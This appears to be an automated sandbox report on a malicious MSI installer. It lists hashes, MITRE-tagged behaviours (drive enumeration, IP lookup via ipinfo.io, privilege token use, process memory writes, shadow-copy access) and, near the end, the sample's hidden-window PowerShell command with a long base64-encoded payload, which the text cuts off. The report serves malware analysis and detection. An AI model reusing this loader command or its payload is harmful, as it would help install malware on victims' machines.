47b2d11d0231ede3c51e64f0a9dac7bcf64ff2b33b8a8f90eea442e8463bdac2

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 18:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3574378_12_-setup.msi
Size 3.3MB
Sample261022-w38jfabb94
SHA256 47b2d11d0231ede3c51e64f0a9dac7bcf64ff2b33b8a8f90eea442e8463bdac2
MD5 f761002e98d4364164088ec51de4ff53
SHA1 8db1b7afe99dc9585cb10a4f4f2cbdb356dd081e
SHA512 45c8ee4ae95de791b2e3d62ce768be087d0d5a8352b217bc0c97c3ed4e06f4136c158e6e5b074574f439c5fa9853dca8fcbb94c8daa562557a5767170fa08405
SSDEEP 98304:vnnnnnnnnwnnnnnnnnJnnnnnnnn9nnnnnnnnrlH1wB8Cw671FmtVpUHOa:vnnnnnnnnwnnnnnnnnJnnnnnnnn9nnns
TLSH
T140F59E05771E95E8D29F976AFEE09BB834E39C48285244873B4BE54D80E3AD3EC5904F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	1640	powershell.exe
13	1640	powershell.exe
14	1640	powershell.exe
15	1640	powershell.exe
16	1640	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1640	powershell.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
12	ipinfo.io

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\SourceHash{4642ACDE-30C2-4523-B6BA-85FE593EDC9E}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF12CD7EB6B800C970.TMP	msiexec.exe
File created	C:\Windows\Installer\e597094.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF67AB4C1FF4985197.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e597092.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7594.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF75652F31F7DD1BA7.TMP	msiexec.exe
File created	C:\Windows\Installer\e597092.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF3E37F341CF60D2C.TMP	msiexec.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4472	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000002fc1fe242d8ae0d60000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838012fc1fe240000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841012fc1fe24000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e32fc1fe2400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e62fc1fe2400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
6092	msiexec.exe
6092	msiexec.exe
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4472	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4472	msiexec.exe
Token: SeSecurityPrivilege	6092	msiexec.exe
Token: SeCreateTokenPrivilege	4472	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4472	msiexec.exe
Token: SeLockMemoryPrivilege	4472	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4472	msiexec.exe
Token: SeMachineAccountPrivilege	4472	msiexec.exe
Token: SeTcbPrivilege	4472	msiexec.exe
Token: SeSecurityPrivilege	4472	msiexec.exe
Token: SeTakeOwnershipPrivilege	4472	msiexec.exe
Token: SeLoadDriverPrivilege	4472	msiexec.exe
Token: SeSystemProfilePrivilege	4472	msiexec.exe
Token: SeSystemtimePrivilege	4472	msiexec.exe
Token: SeProfSingleProcessPrivilege	4472	msiexec.exe
Token: SeIncBasePriorityPrivilege	4472	msiexec.exe
Token: SeCreatePagefilePrivilege	4472	msiexec.exe
Token: SeCreatePermanentPrivilege	4472	msiexec.exe
Token: SeBackupPrivilege	4472	msiexec.exe
Token: SeRestorePrivilege	4472	msiexec.exe
Token: SeShutdownPrivilege	4472	msiexec.exe
Token: SeDebugPrivilege	4472	msiexec.exe
Token: SeAuditPrivilege	4472	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4472	msiexec.exe
Token: SeChangeNotifyPrivilege	4472	msiexec.exe
Token: SeRemoteShutdownPrivilege	4472	msiexec.exe
Token: SeUndockPrivilege	4472	msiexec.exe
Token: SeSyncAgentPrivilege	4472	msiexec.exe
Token: SeEnableDelegationPrivilege	4472	msiexec.exe
Token: SeManageVolumePrivilege	4472	msiexec.exe
Token: SeImpersonatePrivilege	4472	msiexec.exe
Token: SeCreateGlobalPrivilege	4472	msiexec.exe
Token: SeBackupPrivilege	5764	vssvc.exe
Token: SeRestorePrivilege	5764	vssvc.exe
Token: SeAuditPrivilege	5764	vssvc.exe
Token: SeBackupPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe
Token: SeTakeOwnershipPrivilege	6092	msiexec.exe
Token: SeRestorePrivilege	6092	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4472	msiexec.exe
4472	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4472	msiexec.exe
6092	msiexec.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 6092 wrote to memory of 696	6092	msiexec.exe	94
PID 6092 wrote to memory of 1640	6092	msiexec.exe	96
PID 1640 wrote to memory of 3584	1640	powershell.exe	99
PID 3584 wrote to memory of 5260	3584	csc.exe	100

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\3574378_12_-setup.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4472

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6092
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:tTbdEjvTQQXLu='C:\Users\Admin\AppData\Local\Temp\3574378_12_-setup.msi';$pvDwj3z0X=[Convert]::FromBase64String('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IIwnjWyObI9kkC6RMpIzk2yUZZVulnKXZZhrmSeaIJsnnGOdb55sn2ygQaFsomGjdaR0pXKmaadWqCepIKo3qzKsNK00rjCvN7BJsVCyO7N9tCm1Z7Zpt1O4Zbl2unK7ZbxzvWW+cr9QwDrBOsJdw3PEZcV0xnXHYshpyXLKdMt0zEHNbM5wz23QSdFk0m/TaNR01WXWTdcu2G7Zb9pp23TcY91l3mzfZuBl4VLiW+Mo5HPlZ+Zh52zoRulu6m/raex07WHudO9u8GXxbfJl82z0cPVt9kn3dPhl+VP6Lvtt/CT9O/4p/3MAYwEkAiwDNwQyBTQGNAcwCDcJbgp3CyQMLA1zDnAPJBAsEXQSZRNyFCQVLBY3FzIYNBk0GjAbNxx2HWMeJB8sIDchMiI0IzQkMCU3JnQnYSgkKSwqbCtsLGQtJC4sL24wJDEoMmQzbzRoNXQ2ZTdNOGU5azpvO3Y8bj1JPlA/ZUBuQWlCZkNlRERFLkY3RzJINEk0SjBLN0xiTXROJE89UG1RJFJ7UylUc1VjViRXLFhzWXBaJFssXHRdZV5yXyRgLGFsYmxjZGQkZSxmbmckaChpN2oyazRsNG0wbjdvSXBQcSBybnNvdGl1dHZjd254dXlmejt7aXxzfW5+QX86gDqBXYJ0g2WEU4VyhmGHaIhDiS6Kc4tljGONaY52j3KQZZFTknCTb5RylWWWdJdumEmZLpplm22caZ10nm6fdaBSoVuiPaM3pDKlNKY0pzCoN6lzqmGrJKw7rWWuZK9vsGOxabJus1W0OrU6tl23dLhluVO6crthvGi9Q74uv3PAZcFjwmnDdsRyxWXGU8dwyG/Jcsply3TMbs1Jzi7PZdBt0WnSdNNu1HXVUtZb1z3YN9ky2jTbNNww3Tfebt914CThO+Jv43TkdeVB5jrnOuhd6XTqZetT7HLtYe5o70PwLvFz8mXzY/Rp9Xb2cvdl+FP5cPpv+3L8Zf10/m7/SQAuAWUCbQNpBHQFbgZ1B1IIWwk9CjcLMgw0DTQOMA83EHURYRIkEzsUaRVwFmEXbhhpGVcaOhs6HF0dbh5vH2kgdCFuImUjdiRuJW8mQydnKG4paSpsK2wsYS1DLi4vczBlMWMyaTN2NHI1ZTZTN3A4bzlyOmU7dDxuPUk+Lj9lQG1BaUJ0Q25EdUVSRltHPUg3STJKNEs0TDBNN05uT3dQJFE7UmRTclRhVWRWbldhWHRZU1o6WzpcXV1zXm5fb2BpYXRibmNlZHZlbmZvZ0NoZ2luamlrbGxsbWFuQ28ucG5xb3Jpc3R0Y3Vldmx3ZnhleVJ6W3s9fDd9Mn40fzSAMIE3gnaDY4QkhTuGJ4djiGmJdIphi3SMU40sjmOPaZBskWKSdZNQlCeVXZZzl2WYdJl1mmKbaZxynXSedJ9BoGShb6Joo3SkZaVNpi6nbqhvqWmqdKtjrGWtbK5mr2WwUrFbsj2zN7QytTS2NLcwuDe5dLphuyS8O70pvie/dMBpwW7CScNkxGzFZcZpx0bIZclyym/LZsxlzULOLM9j0GnRbNJi03XUUNUn1l3Xc9hl2XTaddti3Gndct5033TgQeFl4nDjeeRU5S7mbudv6GnpdOpj62XsbO1m7mXvUvBb8SzyJ/M39DL1NPY09